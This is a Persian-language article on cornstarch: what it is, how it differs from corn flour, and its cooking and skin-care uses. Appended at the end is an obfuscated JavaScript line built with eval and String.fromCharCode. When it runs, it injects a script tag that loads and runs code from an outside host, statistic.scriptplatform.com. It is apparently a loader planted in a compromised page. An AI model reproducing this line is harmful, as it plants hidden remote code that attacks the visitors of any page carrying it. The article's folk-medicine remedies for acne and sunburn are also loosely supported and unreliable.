نشاسته ذرت چیست؟

نشاسته ذرت آرد سفید رنگی است که از دانه ذرت استخراج می‌شود در واقع برای تهیه نشاسته ذرت به دستگاه های مخصوص صنعتی و فرآیندهای مختلف نیاز است پس نمی‌توان آن را در منزل تهیه کرد. نشاسته ذرت مانند سایر نشاسته‌ها موجب غلظت می‌شود و می تواند بافت محصولات غذایی را غلیظتر کند. نشاسته ذرت دارای بافت فوق العاده نرمی است. به طودی كه اگر شما نشاسته را بين انگشتان لمس كنيد صدای جيغ جيغ ناخوشايندي را می‌شنويد و عملا هيچ زبری حس نخواهيد كرد. ذرت دارای ارزش غذايی فراوانی است در آن به علت نداشتن گلوتن (ماده چسب گندم) قابليت تهيه نان را ندارد. از این رو برای تهيه نان ذرت آن را با در ساير غلات مخلوط می‌كنند.

آشنایی با تفاوت آرد و نشاسته ذرت

آرد ذرت و نشاسته ذرت دو محصول کاملا متفاوتی هستند که هر یک در قنادی نقش مهمی ایفا می‌کنند. مراحل تهیه، ساختار، کاربرد و روش استفاده از آرد ذرت و نشاسته ذرت با دیگری کاملا متفاوت بوده و اگر هرکدام را به جای دیگری استفاده کنید قطعا نتیجه غیر قابل استفاده خواهد شد و باید کل غذا یا شیرینی را دور بریزید. آرد ذرت از ذرت خام و خشک به دست می‌آید و به رنگ نخودی یا زرد ملایم دیده می‌شود. آرد ذرت درجات زبری متفاوتی دارد می‌تواند ریز و نرم و یا درشت و زبر باشد. اما نشاسته ذرت نرم و لطیف است و دارای رنگ سفید است. از نشاسته ذرت معمولاً برای قوام دادن به سس و سوپ استفاده می‌شود. در صورتی که نشاسته ذرت را اگر در مایعی حرارت بدهیم، آن مایع قوام می‌یابد.

کاربرد و خواص نشاسته ذرت

ذرت از نظرطب قدیم ایران سرد و خشک است. نشاسته‌ی ذرت سرشار از کربوهیدرات می‌باشد که این کربوهیدرات‌ها هم انرژی لازم برای ظرفیت‌‌های بدنی بنیادی شما از جمله نبض، تنفس و حرکت را تامین می‌کنند. افرادی که قصد چاق شدن و افزایش وزن دارند و می‌خواهند کالری زیادی را به رژیم غذایی شان اضافه کنند پیشنهاد می‌شود که نشاسته‌ی ذرت را در رژیم غذاییشان اضافه کنند. همچنین از نشاسته ذرت می‌توان جهت افزایش غلظت غذاها استفاده کرد.
نشاسته ذرت باعث پاکیزه شدن پوست می‌شود به گونه‌ای که نشاسته ذرت روغن اضافی پوست را جذب و برای درمان آکنه و جوش‌های سر سیاه مفید است. همچنین نشاسته ذرت به کاهش التهاب ناشی از آفتاب سوختگی و گزش حشرات کمک می‌کند از این رو سه قاشق غذاخوری از این محصول را با آب سرد مخلوط کنید و بر روی ناحیه آسیب دیده بمالید.

 var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/